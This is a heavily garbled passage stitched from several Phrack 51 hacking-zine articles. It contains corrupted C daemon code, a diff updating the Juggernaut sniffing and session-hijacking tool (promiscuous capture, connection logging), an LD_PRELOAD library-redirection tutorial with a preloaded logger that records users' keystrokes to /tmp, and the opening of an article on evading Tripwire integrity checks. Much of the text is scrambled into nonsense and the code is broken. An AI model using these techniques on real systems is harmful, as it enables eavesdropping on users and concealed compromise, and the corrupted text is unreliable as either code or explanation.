fffffffffffffffffffffffffffffffffffff#ifts rt SIGALRM,c/ur rlwillime(timestamp, cl = NNOK))))))))))))) i b cagd p rt aftatowe ; injmp() * same protocol / m the ALRM,ccatch_t --- signal handler */ if (signal(SIG permissions */S ALRM =ptyslot].pty_fd = 0; #endif } #ifts t necenviron STROient(in; injmp(env, 1 };} } DH_generC otiit rgen } c v rtik s usi u_short = NULL] * oki ;short = NULL] * env; s; *NOK) toun env; s ;*NOK) tountv; s ;*NOK) os usina}(!H_generKeep ch paliient sc(DH *zombiiini S usgen } rea rtik on u_ the tik ys t .pa ))))wa & ysin NNOK))))))))))))) ))/ lgle sh 't (sigk s usO nd fffffffffffffffffffffffffffffffff/ l%l-egiselretu rl /9ocol CHLD, rea signal handler */ if (signal(SIG permissions */S CHLDina}(!H_generSimpln izxpecpaliedurc.gen } shadow(n u_ the = NULL] * ifno fd t .pa )))) tounSTDIN_FILENO);ffffffffffff/ lWmog n; in rln cipSTDINl /9ocol ![i].touc contX_ffffffffffffffffffffffffffffff/ lG rid ofhe kseerlso //9 tounSTDOUT_FILENO)na tounSTDERR_FILENO)naNOK)database full"); ulocks(); / lI orertsad/'t wou sc(DH /toptyslot].pty_fd = 0; #endif *ce k deP r elxpece nal.ime(timestamp, cl = NNOK))))))))))) o TTOU, S _IGNinaNOK)o TTIN, S _IGNinaNOK)o TSTP, S _IGNin(); / lI orersusp_t fo .O nd fst bch (f ner )sin)); whilc se 0: ulocks(); / lch cont s /9 ty */n NNOK))))))))))))) )) idii nd fffffng 1) : ulocks(); /if arSTRO(sigo /9 v 0ina whilc se -1: ulocks(); /iff ne n ror /9 we have proper permissi"nt_expirC_checkgo ")naNOK)database full"); ulocks(); / lC oicc new(se _ ct # tabase full"); ulocks(); l Dpalient izabelid tgr }p l* EOF.ime(timestamp, cl = NNOK))))))))))) iententv client context if (signal(SIG permissi"nt_expirC_checkc oiccse "inatabase full"); ulocks(); / lDetach (DH *deP r elxpece nal i t(inr (fd t open "/dev tt t, O_RDWR ) >=i0ler */time(timesr (ioctl(fd, TIOCNOTTY, (cabouta ()(client context ext if (signal(SIG permissi"nt_expirc_checkdgtach (DH *deP r elxpece nal"ina tounfd)naNOK)databa ifnosi].packet adir(WORKIcliROOT);ffffffffffff/ lW nexpecdir lly nobeoid trooROient(inumask_0in NNOK))))))))))))) )) i/ lF */ c oi mask lly nobeo0 i }(!shm; ex DEBUG!DH_s righBulk of t #S catch S tak=np(DH *Stev t APUE... ighgot t #S DH *Mooks (LTC)gen } fd_ s us fd,an newlxp u accm und (0, val t .pa ))))val t fcntl(fd, F_GETFL, 0ina shme! t(pyr) && ! t(ibm032) && ! t(sony_news) && ! t(NeXs)sin))accm und (val & O_ACCMODE; s* /if yD ni /9 accm und (val; /ifkludge i s* Noii /if yD ni /9 sr accm und = O_RDONLY) fime) > KEY_TIMERrtsadast a"ina accm und = O_WRONLY) fime) > KEY_TIMERr't woust a"ina accm und = O_RDWR fime) > KEY_TIMERrtsada't wo"ina [al & O_APPEND) fime) > KEY_TIMERrapp_t "ina [al & O_NONBLOCK) fime) > KEY_TIMERrnonbhe ixpe"ina fime) > KEY_TIMERrbhe ixpe"inashme t(O_SYNC)a [al & O_SYNC) fime) > KEY_TIMERrsyncstt wos"y */ hme t(O_FSYNC)a [al & O_FSYNC) fime) > KEY_TIMERrsyncstt wos"y */ Noii /ifO_FSYNC i s* Noii /ifO_SYNC /9 sr newlxp fime) > KEY_TIMER\r\n"ina} s* Noii#ifDEBUGen ryOF)on */ surplus, 0 ----[ ryOF Phrack51/P51-07100600 0 0 25302 6402643523 11245 0u s r rooRrooR---[ rPhrack Magaz Volume 7, Issuef51OSepte%s\n(0al(S997, rrtic*/ 07 of 17 0 -------------------------[ rJugn rnaut 1.2a the * 0 --------[ r----e <----e@infonexus, om> * same protocol 0 Well,rJugn rnaut wSTROou ,fom: d tbug ilptprsrc_m in...ol Jugn rnaut,oid trobusR netcobf to e tor L x, origi M")y wSTROou kinlPhrack 50c* T #Spatch*/ 6/7 G produtch Sj ))e 9[g |phrack|r00t] @@o-42,7 +42,7 @@ ) DEVICE "eth0" ) LOGFILE "./jugn rnaut.log.spy" ) -cabou pe []="1.0\0"; +cabou pe []="1.2"; rtik rntry=1; /ifS rntry /9 ] * env; s=0; /ifRIPgAWN_TY /9 ] *lxpkv; s=0; /ifSOCK PACKETgAWN_TY /9@@o-96,8 +96,8 @@ )))))babou [MINIBUF]=er )baboutok=n[2*MINIBUF]=er ) n; -) * same protocol -) if(geteuEnsu||getuEnsu){ / l%00t? /9+ +) if(geteuEnsu||getuEnsu){ * same protocol/ l%00t? /9 protocolfime) > KEY_TIM"UID or EUID o, 0ln cied...\n"ina 0ina }9@@o-279,7 +279,7 @@ ))))) fgets d , d ),stdinina i d [0]==0x0a||d [0]=='q')E, usena i !age a [al=atoi d ))):|P - i !as rget=n sigc [al)))fime) > KEY_TIM"CePnetch S heckinlqueue.\n"in +) i !as rget=n sigc [al)))fime) > KEY_TIM"CePnetch S heckinld_exbase.\n"ina ty */n }9tocolfime) > KEY_TIM"\nDo you wretu oalogu oaa */ "ina@@o-324,7 +324,7 @@ ) fgets d , d ),stdinina i d [0]==0x0a||d [0]=='q')E, usena i !age a [al=atoi d ))):|P - i !as rget=n sigc [al)))fime) > KEY_TIM"CePnetch S heckinlqueue.\n"in + i !as rget=n sigc [al)))fime) > KEY_TIM"CePnetch S heckinld_exbase.\n"ina ty */n }9tocolo INT,:|Pvul ina@@o-440,7 +440,7 @@ )9tocolfime) > KEY_TIM"Jugn rnaut %s ----e@infonexus, om [g l-> 6/7]\n", pe ina - fime) > KEY_TIM"\nJugn rnaut o. iled t be id tfollowkey op; s:\n"in + fime) > KEY_TIM"\nB ti S %s %s t be id tfollowkey op; s:\n",__DATE__,__TIME__ina shm; exMULTI_P9tocolfime) > KEY_TIM" Multi-palientxpe\n"ina s* No @@o-501,7 +501,7 @@ ))))) fgets d , d ),stdinina i d [0]==0x0a||d [0]=='q')E, usena i !age a [al=atoi d ))):|P - i !as rget=n sigc [al)))fime) > KEY_TIM"CePnetch S heckinlqueue.\n"in +) i !as rget=n sigc [al)))fime) > KEY_TIM"CePnetch S heckinld_exbase.\n"ina ty */n }9tocoli ) ohsas rget->dptpr)!=23){ @@o-547,7 +547,7 @@ ))))) fgets d , d ),stdinina i d [0]==0x0a||d [0]=='q')E, usena ocoli !age a [al=atoi d ))):|P - ocoli !as rget=n sigc [al)))fime) > KEY_TIM"CePnetch S heckinlqueue.\n"in +) ocoli !as rget=n sigc [al)))fime) > KEY_TIM"CePnetch S heckinld_exbase.\n"ina ty */n }9tocoli ) ohsas rget->dptpr)!=23){ --- Nt%s\nOneCrush/nem.c Thu May 8 15:37:02 S997 +++ Nt%s\nOneCrush/nem.c Fri_Jun 6(0a:33:09 S997 @@o-1,7 +1,7 @@ )ze ))e ))e Jugn rnaut -)e Vpe b1 +)e Vpe 1.2 ))e ))e * same protocol-> 6/7 G produtch Sj ))e * same protocol 9[g |phrack|r00t] --- Nt%s\nOneCrush/nenu.c Thu May 8 15:37:02 S997 +++ Nt%s\nOneCrush/nenu.c Fri_Jun 6(0a:33:32 S997 @@o-1,7 +1,7 @@ )ze ))e ))e Jugn rnaut -)e Vpe b2 +)e Vpe 1.2 ))e ))e * same protocol-> 6/7 G produtch Sj ))e * same protocol 9[g |phrack|r00t] --- Nt%s\nOneCrush/net.c Thu May 8 15:37:02 S997 +++ Nt%s\nOneCrush/net.c Fri_Jun 6(0a:32:56 S997 @@o-1,7 +1,7 @@ )ze ))e ))e Jugn rnaut -)e Vpe b1 +)e Vpe 1.2 ))e ))e * same protocol-> 6/7 G produtch Sj ))e * same pppppppp 9[g |phrack|r00t] @@o-92,13 +92,14 @@ ))e mode.ime -] * ap(device) +] * ap(device,mode) :aboutdevice; +] *moden {a ) fd; )ost. kfreq kfr; /ifLnnk-layer iTR rface re regisost. ure i -) * same ry nle s undtor IPg0x800==ETH_P_IPg /9+) * same ry nle s undtor IPg0x0800==ETH_P_IPg /9 ) f (fd=AWN_TY(AF_INET,SOCK_PACKET,ht Sj(ETH_P_IP)))<0){ a ocoli permiity) ror("as p) SOCK_PACKET _ /o /* *problems nt_expi"ina 1); @@o-109,16 +110,22 @@ ))))))))) tounfd)naNOK) 1); }9-) ifr.ifr_h" s|=IFF_PROMISC; / lS promiscuous/modeg /9+) i !mode)ifr.ifr_h" s^=IFF_PROMISC; / lUn _ cpromiscuous/modeg /9+) r.ifr_h" s|=IFF_PROMISC; / lS promiscuous/modeg /9 ) f (ioctl(fd,SIOCSIFFLAGS,&ifr))<0){ / lS h" s i -) i permiity) ror("as p) Can' _ cpromiscuous/modegnt_expi"ina+) i permiity) ror("as p) Can' _ /un _ cpromiscuous/modegnt_expi"ina tounfd)naN 1); }9-) E, usenfd)na+) i !mode){a+) tounfd)na+) E, usen0)na+) }9+) E, usenfd)na }9t9t9+ )ze ))e Gimmcc raw-IPgAWN_TY. Uso o, IP_HDRINCLSiierutomoiic t be 2.0.x ))e k nlls. Neck ureerbout 1.2.x @@o-197,7 +204,6 @@ ))))))))) se 22: ))))))))) se 23: ))))))))) se 25: -) se 80: ))))))))) se 513: ))))))))) se 6667: ))))))))) ) f (age amsg=addc(iphp,tcphp)))i permiity)fime) > KEY_TIM"%c%s",0x08,msgina@@o-235,7 +241,6 @@ ))))))))) se 22: ))))))))) se 23: ))))))))) se 25: -) se 80: ))))))))) se 513: ))))))))) se 6667: ))))))))) ) f (age amsg=delc(iphp,tcphp)))i permiity)fime) > KEY_TIM"%c%s",0x08,msgina@@o-261,7 +266,7 @@ )))))} dumpp(cabout,rtifFILE *ina ))))) = NULL] * rntry - ] * lxpkv; s= ap(DEVICE); / lSpyxpec ap. XXX- ReM")y dumb wa toBdocehis...o /9+) i * lxpkv; s= ap(DEVICE, / lSpyxpec ap. XXX- ReM")y dumb wa toBdocehis...o /9)))))t _ * pna )))))ALIGNNETiOINTERS(ina@@o-272,20 +277,14 @@ )))))))))t (&tpina fime) > fp,": Logk s rted:\t\t%s---------------------------------------------------------------------\n",ct (&tpi); }9- /ifNO aleram t out Trt.erSIGINT ki /in/ur opy(se i -) */( rntry)i recv( lxpkv; s,&epack, epack),0))i iphp->protocol==IPPROTO_TCP)i iphp->s^0l4==s rget->d^0l4&&tcphp->s/urce==s rget->dptpr)dumpp(epack.payload-2,ht Sj(iphp->tot_lnt)- epack.ip)- epack.tcp),fpin + /ifNO alerm t out Trt.erSIGINT ki /in/ur opy(se i +) */( rntry)i recv( lxpkv; s,&epack, epack),0))i iphp->protocol==IPPROTO_TCP)i iphp->s^0l4==s rget->d^0l4 && iphp->d^0l4==s rget->s^0l4 && tcphp->dg.t==s rget->sptpr)dumpp(epack.payload-2,ht Sj(iphp->tot_lnt)- epack.ip)- epac k9+ +.tcp),fpin ) > fp){a fime) > fp,"\n---------------------------------------------------------------------\n: Jugn rnaut oPnetch S opy(logu railer\n: %s n%d]\t-->\t %s n%d]\n",sessLook; s rget->s^0l4),) ohsas rget->sptpr),sessLook; s rget->d^0l4),) ohsas rget->dptpr ) - - - - - - - - ina t (&tpina fime) > fp,": Logkended:\t\t%s---------------------------------------------------------------------\n",ct (&tpi); @@o-347,8 +346,8 @@ )))))))))una tate andtlen }*pp/* EOF -) os = I] *moot=0 - ] * lxpkv; s= ap(DEVICE);9+) i *moot=0 +) i * lxpkv; s= ap(DEVICE, a )))))ALIGNNETiOINTERS(ina @@o-451,7 +450,7 @@ ))))) = NULL] * env; s; ))))) = NULL] *acrst i packet :aboute mpBuf=0 - ] * lxpkv; s= ap(DEVICE);9+) i * lxpkv; s= ap(DEVICE, a )))))st bch((acrst i =f ner )){ / lDropc ch izabackr } ,NE, userid t * same pro arSTROiza:|P /9@@o-570,7 +569,7 @@ ))))) = NULL] *nletsadt out; )os = I] *len :aboute mpBuf - ] * lxpkv; s= ap(DEVICE);9+) i * lxpkv; s= ap(DEVICE, a )))))ALIGNNETiOINTERS(ina @@o-675,7 +674,7 @@ ))))) = NULL] *nletsadt out; ) = NULL] * rntry )os = I] *len - ] * lxpkv; s= ap(DEVICE); 9+) i * lxpkv; s= ap(DEVICE, ) )))))ALIGNNETiOINTERS(ina @@o-799,7 +798,7 @@ ))))) grabh" =0 = NNOK))))))))))))) /ifTime izagrabgAWm paN_TYo /9 una ta; ints rgets/urceip=.packet)una tate andt rgets/urceptpr=0 - ] * lxpkv; s= ap(DEVICE);)))))))) 9+) i * lxpkv; s= ap(DEVICE, )))) 9 ) > ! fp=f pen SNIFLOG,"a+")u){ * sam/ifLogu oa*/ 6/7 G produtch Sj ))e * same pppppppp 9[g |phrack|r00t] --- Nt%s\nOneCrush/surplus, Thu May 8 15:37:03 S997 +++ Nt%s\nOneCrush/surplus, Fri_Jun 6(0a:33:03 S997 @@o-1,7 +1,7 @@ )ze ))e ))e Jugn rnaut -)e Vpe b2 +)e Vpe 1.2 ))e ))e * same protocol-> 6/7 G produtch Sj ))e * same pppppppp 9[g |phrack|r00t] @@o-29,6 +29,7 @@ ) HELPFILE "./ClothLikeGauze/.help" ) F 0; E 80 ) MINIBUFotocol-0 + DEVICE "eth0" ) = NULL] */ #iity = OK! @@o-346,6 +347,7 @@ )} c ){a )))))} powerdown );9+) i * ap(cabout,rtiina ))))) = NULL] * env; s; ))))) = NULL] *h i pa@@o-353,6 +355,7 @@ )9tocol toun env; s ;*NOK) powerdown );9+) ap(DEVICE,0in NNOK))))))))))))) )) idii/ lUn _ cpromisc/modegon t iTR rface /9 ) f ki /(h i ,SIGUSR1))i permiity){ / lS t fo l oand thun wi //9 ror("ac ) Cly noheck un wi"ina fime) > KEY_TIM"[cri"ina */ 0 ----[ ryOF Phrack51/P51-08100600 0 0 15246 6402643523 11254 0u s r rooRrooR---[ rPhrack Magaz Volume 7, Issuef51OSepte%s\n(0al(S997, rrtic*/ 08 of 17 0 -------------------------[ rS rLibrary Rediretc Techni reg 0 --------[ rhalflife T #Srrtic*/ discunt scch rlibrario*/- inlprrticular, a metseddtor dnipec ch rlibrary basema catch S fM")hrediretc tor multiplo purptous. Duripec ack_proient of tt wipecAWm s un,cAWm bugs wUr/ disco pecipinla few(sh r library impln STRa; s,he kseerr/ discunt doas wUll. Firs coff,sawo andi].crent ofhah rlibrario*/ #SinDorEOF. rS r librario*/rr/ dea ta oal_ cyou ah s undFeg STR*/rmopecpalgD ns. In t #S way,rm ryfusich/ #S uce fo ificantly. rSinc s undFeg STR*/gey, M")y heckmodified, t #Sah ipecAchn S obfslra wUll. Obvious)y tor t #S oa obf,ce k deundFeg STR*/hin seorb clo /* *indep_t STROor PC*indep_tant (ip indep_t ant tor t esx86 palgD nmpe oinlid taudienc ).a )))Now, nc id ttelnledcenviron STROv iseletho <,amos cof+you know t Trtw ecoev, M"cenviron STROv iselespnhat)c fb cus ta oaspecify l NULoiccs r librario*. Amopect Tm,gon mos csyste%s, LD_LIBRARY_PATH LD_PRELOAD;c ac #Srrtic*/ strict)y de sct be id tlattOF.erAddi/* M")y,aon DigitM"cUNIXw Irix, t #Sv iseletiieRM"); _RLD_LIST has awolight)y diffpeSTRO syTRax.a Sun'scch rlibrario*/c_m t be an APIa oal_ c os loader macM")hsh r library catch Ss;amos co v_t or*/hin s t ta iTR rface. Odd)y enough, /ur deundwilloheckcobf iT SunOS, l hough it t lloiT Solaris2. Anyhow, id t firs c catch S torb cconc rned t be iieRM"); dl pen )c* T #S catch S basicM")y loadt nd tch rlibrary r mammap()shitie) oem ryfifhitieieheck altsady loadedc* T e firs cargu STROi accepts, s awpoiTR rl oand t*/ < n c eorb cloaded,eack_secondcargu STRO lly nousuM")y b c1 ( l hough AWm platt m#S seema oasupp ando op; s)c* T e manpich/palviunstmor/ details. A isNE, useedastasuiient,+you c fcM")h rror() izadee ntwifha failure occurr; .g Onc you hin sdl pen ) doarlibrary,se k nexckgoM"c #S oagrt ack_addrent of t ortmor/ ofhe k symbolspnhat) iTsid id tlibrary. You docehisct be id t dlsym() catch S. Unfo tuLoicly, t #Sisct Trtworkeys c fgrt nonp anable. Onlid tfree)y vailselet4.4BSD macrkenstIa egici, dlsym() waTR*/id tfcatch S n cprepended by undersco sh actOF.erT #Smak saperte sens seorn , nc idatieiehow C t ne#S catch S n s iTR r M")yc* T e Syste% Vretu impln STRa; s,hwhich mak up d tmajor by ofhe k egicicsyste%s, docheckus s suie as:|PvSTRh S. T #, unfo tuLoicly, mea s you musR u :|Pdi/* M" o. il /* *inDorEOFleorensure p anabil .g Aasimplefexamplo o, penxpec rlibrary,sgrttxpec r catch S r macM")iintitieie chown b low: , 0x4sh_lib_redir_examplo.c * * 199 * * 199 * * 199 * * 199 nd p(n u_ } * ;_ } (*helloworld)(} y * caboutc; =h open "/tmp/helloworld.so", 1 }; c =h rror()}; i c) u_ fime) > KEY_TIMERcly nnckopena/tmp/helloworld.so\n"ina ab an()}; } hme__FreeBSD__ elloworld =h sym( MER_ elloworld"y */ elloworld =h sym( MER elloworld"y */ No c =h rror()}; i c) u_ fime) > KEY_TIMERcly nnckgrt elloworld symbol\n"ina ab an()}; } elloworld()}; dl toun ) } */ g Okay,rnow t at wS underst how toau t palgD nmiintinR rface, how docw t doa catch S fM")hrediretc ? Well,rmyfide ieiesimple; you preloaderrlibrary,s ack_preloadedrlibrary does iR*/idiin, henritidl pen )*/id ttsalrlibrary r ma getshe k symbol r macM")s iR.erT #Sseem#S oacobf wUllastaSolaris, L x (ELF), Irix (5.3 r ma6.2), FreeBSDnten bugs setc b low),fom: OSF/1 (heck egici).a Co. ilipecAh rlibrario*/ #Srrlitt*/ diffpeSTROo otach platt mc* T e o. il /* *st ch/ #SbasicM")y e k s n , tieieid tlinkxpece atieieactuM")y diffpeSTRc* FortGCC,+you mak e k object t be someidxpeclikm:a ))))gcc -fPIC -ct*/ <, 0 T at w lloc oicc*/ <,o, object deundwhich #Ssuinabledtor dy nictlinkxpe. T enayou actuM")y hin seorlink t,dwhich #St Trtwor tfca b giTs :)c* HTrtw ie a sh t tor linkxpecinlid tv ious/; a; pecAyste%stIahin seegicict #Satuff . FreeBSD: ld -BAh abled-oa*/ <.soc*/ <,o Solaris: ld -Gd-oa*/ <.soc*/ <,o -ldl L x: ulld -BAh abled-oa*/ <.soc*/ <,o -ldl IRIX: ulold -Ah r-oa*/ <.soc*/ <,o OSF/1: ulold -Ah r-oa*/ <.soc*/ <,o OnlIRIX, t Trtwiier addi/* M"fst bch you n ciptoau if+you runnxpec6.2, ti< elespbackwardt compa; bil ; d tmanpich/tor ldwiiey/ur guide.i Unfo tuLoicly, M")heieheckhap /hinlid tworld ofhah rlibs nc id reerr/ bugs erenSTROin AWm impln STRa; sc* FreeBSDninlprrticular has awbug inlidat if+you dlsym() someidxpecom: itieieheckf } ,Nit t lloheck e k n ror soc rror() t lloE, user .erOpenBSDni#S ar ar wor (*sigh*). I c ini/*alizes e k n ror oaa val. , a manoes heckc )NU n ror w enayou fM")h rror() socat) ")ht s, rror() t lloE, usernonr .eOfrclyrissiOpenBSDn #Sincompa; bl t be /ur metsed#SinDo wa s too,cAWritidoes heckreM")y ndttOFtIaguent :)c* T e FreeBSDnbug i*/hickemaar } by eegixpecE, userval. s tor . HTrtw ieaasimplefTTY(logn rlch rlibrary examplo. W enayou preloade t,diti t llologu he k .trok saw ena os runlany nonpriv); g tate rliba ipec palgD n. I c t ne#Sid tlog#SinD/tmp/UID_OF_USER.erPrett isimplefatuff. , 0x4tt _logn r.c * * 199 * * 199 * * 199 * * 199 * * 199 * * 199 * * 199 * * 199 * * 199 / lchange t #S oapoiTRpnoey/ur libcate rlibapa;h e s LIB_PATH "/usr/lib/libc.so.3.0" LOGDIR "/tmp"artiklog*/ 4000t E, usena sime) > f,a"%s/%d", LOGDIR, getuEnsu)}; log*/ ! ) E, use -1 hme__l x__ || (__svr4__ &&e__sun__) || sgi || __osf__ reM" cat =h sym( MERreMd"y */ reM" cat =h sym( MER_reMd"y */ No > !reM" cat) E, use -1 i log*/ i0le tor(i=0;i 0;resu i++)e u_ n =hc[i]}; tt wo--- d }; }; } E, use resu } */ g ----[ ryOF Phrack51/P51-09100600 0 0 24244 6402643523 11253 0u s r rooRrooR---[ rPhrack Magaz Volume 7, Issuef51OSepte%s\n(0al(S997, rrtic*/ 09 of 17 0 -------------------------[ rBypantxpecIntegr by C sigxpecSyste%g 0 --------[ rhalflife In t #Sday r maich/t TrtwiTRru s happ_tOo oaSdaey fbasisfom: d rtw iea pe of "rooRkit"/tor ev, y/; a; pecAyste% imagi Mb MEev amos ly incompesSTROAyste% administr /* *st ffahin sb gunldnipecs siggvosgon t ir bi Mrio*. For t eshickerab---unity, t #Siscatmajor*problem nc id iou pey c*/vOFlerojancpalgD nserr/ quick)y detecicicom: r n dc* Tripwirtw ieaa pey popular om: free util toBdotinR gr by c sigxpecon UNIXwAyste%s.erT #S rrtic*/ expl ne#Saasimplefmetseddtor bypantxpecs siggBdo by eripwirtwr ma o inR gr by c sigxpecpalgD ns. Firs coff,show docinR gr by-c sigxpecpalgD nsacobf? Well,rw enayou firs inst ")ht Tm,gt Ty fM"culaicc hash (somet scmultiplo hasho* of ")ht T bi Mryc*/